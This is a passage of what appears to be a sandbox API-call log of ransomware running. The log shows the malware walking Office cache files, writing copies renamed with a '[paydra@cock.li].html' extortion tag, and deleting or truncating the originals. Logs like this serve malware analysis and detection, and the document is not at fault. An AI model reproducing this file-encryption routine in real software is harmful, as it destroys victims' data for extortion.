(lpString1=".docx", lpString2="p.exe") returned -1 [0047.257] lstrlenW (lpString=".pdf") returned 4 [0047.257] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0047.257] lstrlenW (lpString=".xls") returned 4 [0047.257] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0047.257] lstrlenW (lpString=".xlsx") returned 5 [0047.257] lstrcmpiW (lpString1=".xlsx", lpString2="p.exe") returned -1 [0047.257] lstrlenW (lpString=".ppt") returned 4 [0047.257] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0047.257] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0047.257] lstrlenW (lpString=".zip") returned 4 [0047.257] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0047.257] lstrlenW (lpString=".rar") returned 4 [0047.257] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0047.257] lstrlenW (lpString=".bz2") returned 4 [0047.257] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0047.257] lstrlenW (lpString=".7z") returned 3 [0047.257] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0047.257] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0047.257] lstrlenW (lpString=".dbf") returned 4 [0047.257] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0047.257] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0047.257] lstrlenW (lpString=".1cd") returned 4 [0047.257] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0047.257] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\setup.exe") returned 72 [0047.257] lstrlenW (lpString=".jpg") returned 4 [0047.257] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0047.257] lstrcmpiW (lpString1=".exe", lpString2=".html") returned -1 [0047.257] lstrlenW (lpString="ose.exe") returned 7 [0047.257] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\ose.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0047.258] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=174440) returned 1 [0047.258] CloseHandle (hObject=0x1a8) returned 1 [0047.258] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\ose.exe")) returned 0x2020 [0047.258] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\ose.exe.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0047.258] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\ose.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0047.258] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.258] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.258] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\ose.exe.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0047.258] GetLastError () returned 0x0 [0047.258] ReadFile (in: hFile=0x1a8, lpBuffer=0x3950020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3950020*, lpNumberOfBytesRead=0x2d9fed4*=0x2a968, lpOverlapped=0x0) returned 1 [0047.726] WriteFile (in: hFile=0x1c8, lpBuffer=0x3950020*, nNumberOfBytesToWrite=0x2a970, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3950020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x2a970, lpOverlapped=0x0) returned 1 [0047.729] ReadFile (in: hFile=0x1a8, lpBuffer=0x3950020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3950020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0047.729] WriteFile (in: hFile=0x1c8, lpBuffer=0x3950020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3950020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xe2, lpOverlapped=0x0) returned 1 [0047.729] SetEndOfFile (hFile=0x1c8) returned 1 [0047.729] CloseHandle (hObject=0x1c8) returned 1 [0047.729] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.729] SetEndOfFile (hFile=0x1a8) returned 1 [0047.731] CloseHandle (hObject=0x1a8) returned 1 [0047.731] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x2020) returned 1 [0047.731] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\ose.exe")) returned 1 [0047.731] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0047.731] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0047.731] lstrlenW (lpString=".doc") returned 4 [0047.731] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0047.732] lstrlenW (lpString=".docx") returned 5 [0047.732] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0047.732] lstrlenW (lpString=".pdf") returned 4 [0047.732] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0047.732] lstrlenW (lpString=".xls") returned 4 [0047.732] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0047.732] lstrlenW (lpString=".xlsx") returned 5 [0047.732] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0047.732] lstrlenW (lpString=".ppt") returned 4 [0047.732] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0047.732] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0047.732] lstrlenW (lpString=".zip") returned 4 [0047.732] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0047.732] lstrlenW (lpString=".rar") returned 4 [0047.732] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0047.732] lstrlenW (lpString=".bz2") returned 4 [0047.732] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0047.732] lstrlenW (lpString=".7z") returned 3 [0047.732] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0047.732] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0047.732] lstrlenW (lpString=".dbf") returned 4 [0047.732] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0047.732] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0047.732] lstrlenW (lpString=".1cd") returned 4 [0047.732] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0047.732] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0047.732] lstrlenW (lpString=".jpg") returned 4 [0047.732] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0047.732] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0047.732] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0047.732] lstrlenW (lpString=".doc") returned 4 [0047.732] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0047.732] lstrlenW (lpString=".docx") returned 5 [0047.732] lstrcmpiW (lpString1=".docx", lpString2="e.exe") returned -1 [0047.732] lstrlenW (lpString=".pdf") returned 4 [0047.733] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0047.733] lstrlenW (lpString=".xls") returned 4 [0047.733] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0047.733] lstrlenW (lpString=".xlsx") returned 5 [0047.733] lstrcmpiW (lpString1=".xlsx", lpString2="e.exe") returned -1 [0047.733] lstrlenW (lpString=".ppt") returned 4 [0047.733] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0047.733] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0047.733] lstrlenW (lpString=".zip") returned 4 [0047.733] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0047.733] lstrlenW (lpString=".rar") returned 4 [0047.733] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0047.733] lstrlenW (lpString=".bz2") returned 4 [0047.733] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0047.733] lstrlenW (lpString=".7z") returned 3 [0047.733] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0047.733] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0047.733] lstrlenW (lpString=".dbf") returned 4 [0047.733] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0047.733] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0047.733] lstrlenW (lpString=".1cd") returned 4 [0047.733] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0047.733] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\ose.exe") returned 70 [0047.733] lstrlenW (lpString=".jpg") returned 4 [0047.733] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0047.733] lstrcmpiW (lpString1=".xrm-ms", lpString2=".html") returned 1 [0047.733] lstrlenW (lpString="pkeyconfig-office.xrm-ms") returned 24 [0047.733] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0049.056] GetFileSizeEx (in: hFile=0x180, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=715834) returned 1 [0049.056] CloseHandle (hObject=0x180) returned 1 [0049.056] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms")) returned 0x2020 [0049.056] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0049.056] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180 [0049.056] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.056] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.056] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0049.057] GetLastError () returned 0x0 [0049.057] ReadFile (in: hFile=0x180, lpBuffer=0x3950020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3950020*, lpNumberOfBytesRead=0x2d9fed4*=0xaec3a, lpOverlapped=0x0) returned 1 [0049.071] WriteFile (in: hFile=0x1c8, lpBuffer=0x3950020*, nNumberOfBytesToWrite=0xaec40, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3950020*, lpNumberOfBytesWritten=0x2d9fc9c*=0xaec40, lpOverlapped=0x0) returned 1 [0049.084] ReadFile (in: hFile=0x180, lpBuffer=0x3950020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3950020*, lpNumberOfBytesRead=0x2d9fed4*=0x0, lpOverlapped=0x0) returned 1 [0049.084] WriteFile (in: hFile=0x1c8, lpBuffer=0x3950020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x2d9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3950020*, lpNumberOfBytesWritten=0x2d9fc9c*=0x104, lpOverlapped=0x0) returned 1 [0049.084] SetEndOfFile (hFile=0x1c8) returned 1 [0049.084] CloseHandle (hObject=0x1c8) returned 1 [0049.085] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.085] SetEndOfFile (hFile=0x180) returned 1 [0049.263] CloseHandle (hObject=0x180) returned 1 [0049.263] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x2020) returned 1 [0049.264] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\pkeyconfig-office.xrm-ms")) returned 1 [0049.264] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0049.264] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0049.264] lstrlenW (lpString=".doc") returned 4 [0049.264] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0049.264] lstrlenW (lpString=".docx") returned 5 [0049.264] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0049.264] lstrlenW (lpString=".pdf") returned 4 [0049.264] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0049.264] lstrlenW (lpString=".xls") returned 4 [0049.264] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0049.264] lstrlenW (lpString=".xlsx") returned 5 [0049.264] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0049.264] lstrlenW (lpString=".ppt") returned 4 [0049.264] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0049.264] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0049.264] lstrlenW (lpString=".zip") returned 4 [0049.264] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0049.264] lstrlenW (lpString=".rar") returned 4 [0049.264] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0049.264] lstrlenW (lpString=".bz2") returned 4 [0049.264] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0049.264] lstrlenW (lpString=".7z") returned 3 [0049.264] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0049.265] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0049.265] lstrlenW (lpString=".dbf") returned 4 [0049.265] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0049.265] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0049.265] lstrlenW (lpString=".1cd") returned 4 [0049.265] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0049.265] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0049.265] lstrlenW (lpString=".jpg") returned 4 [0049.265] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0049.265] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0049.265] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0049.265] lstrlenW (lpString=".doc") returned 4 [0049.265] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0049.265] lstrlenW (lpString=".docx") returned 5 [0049.265] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0049.265] lstrlenW (lpString=".pdf") returned 4 [0049.265] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0049.265] lstrlenW (lpString=".xls") returned 4 [0049.265] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0049.265] lstrlenW (lpString=".xlsx") returned 5 [0049.265] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0049.265] lstrlenW (lpString=".ppt") returned 4 [0049.265] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0049.265] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0049.265] lstrlenW (lpString=".zip") returned 4 [0049.265] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0049.265] lstrlenW (lpString=".rar") returned 4 [0049.265] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0049.265] lstrlenW (lpString=".bz2") returned 4 [0049.265] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0049.265] lstrlenW (lpString=".7z") returned 3 [0049.265] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0049.265] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0049.266] lstrlenW (lpString=".dbf") returned 4 [0049.266] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0049.266] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0049.266] lstrlenW (lpString=".1cd") returned 4 [0049.266] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0049.266] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\pkeyconfig-office.xrm-ms") returned 87 [0049.266] lstrlenW (lpString=".jpg") returned 4 [0049.266] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0049.266] lstrcmpiW (lpString1=".cab", lpString2=".html") returned -1 [0049.266] lstrlenW (lpString="OWOW32WW.cab") returned 12 [0049.266] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0049.420] GetFileSizeEx (in: hFile=0x1b8, lpFileSize=0x2d9ff1c | out: lpFileSize=0x2d9ff1c*=36233052) returned 1 [0049.420] CloseHandle (hObject=0x1b8) returned 1 [0049.420] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\owow32ww.cab")) returned 0x2020 [0049.421] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0049.421] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[paydra@cock.li].html")) returned 1 [0049.421] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0049.421] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc6c | out: lpNewFilePointer=0x0) returned 1 [0049.421] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc2c | out: lpNewFilePointer=0x0) returned 1 [0049.421] ReadFile (in: hFile=0x1b8, lpBuffer=0x3950058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d9fc38, lpOverlapped=0x0 | out: lpBuffer=0x3950058*, lpNumberOfBytesRead=0x2d9fc38*=0x40000, lpOverlapped=0x0) returned 1 [0049.428] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0xb84a74, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc2c | out: lpNewFilePointer=0x0) returned 1 [0049.428] ReadFile (in: hFile=0x1b8, lpBuffer=0x3990058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d9fc38, lpOverlapped=0x0 | out: lpBuffer=0x3990058*, lpNumberOfBytesRead=0x2d9fc38*=0x40000, lpOverlapped=0x0) returned 1 [0049.434] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2d9fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0049.434] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x224df5c, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc2c | out: lpNewFilePointer=0x0) returned 1 [0049.434] ReadFile (in: hFile=0x1b8, lpBuffer=0x39d0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2d9fc38, lpOverlapped=0x0 | out: lpBuffer=0x39d0058*, lpNumberOfBytesRead=0x2d9fc38*=0x40000, lpOverlapped=0x0) returned 1 [0049.450] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.450] WriteFile (in: hFile=0x1b8, lpBuffer=0x3950020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x2d9fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3950020*, lpNumberOfBytesWritten=0x2d9fcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0049.466] SetEndOfFile (hFile=0x1b8) returned 1 [0049.466] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x40000) returned 0x3ec1058 [0049.611] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc7c | out: lpNewFilePointer=0x0) returned 1 [0049.611] WriteFile (in: hFile=0x1b8, lpBuffer=0x3ec1058*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d9fc88, lpOverlapped=0x0 | out: lpBuffer=0x3ec1058*, lpNumberOfBytesWritten=0x2d9fc88*=0x40000, lpOverlapped=0x0) returned 1 [0049.611] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0xb84a74, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc7c | out: lpNewFilePointer=0x0) returned 1 [0049.611] WriteFile (in: hFile=0x1b8, lpBuffer=0x3ec1058*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d9fc88, lpOverlapped=0x0 | out: lpBuffer=0x3ec1058*, lpNumberOfBytesWritten=0x2d9fc88*=0x40000, lpOverlapped=0x0) returned 1 [0049.612] SetFilePointerEx (in: hFile=0x1b8, liDistanceToMove=0x224df5c, lpNewFilePointer=0x0, dwMoveMethod=0x2d9fc7c | out: lpNewFilePointer=0x0) returned 1 [0049.612] WriteFile (in: hFile=0x1b8, lpBuffer=0x3ec1058*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2d9fc88, lpOverlapped=0x0 | out: lpBuffer=0x3ec1058*, lpNumberOfBytesWritten=0x2d9fc88*=0x40000, lpOverlapped=0x0) returned 1 [0049.614] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ec1058 | out: hHeap=0x4b0000) returned 1 [0049.614] CloseHandle (hObject=0x1b8) returned 1 [0049.615] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x2020) returned 1 [0049.615] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0049.615] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab") returned 75 [0049.615] lstrlenW 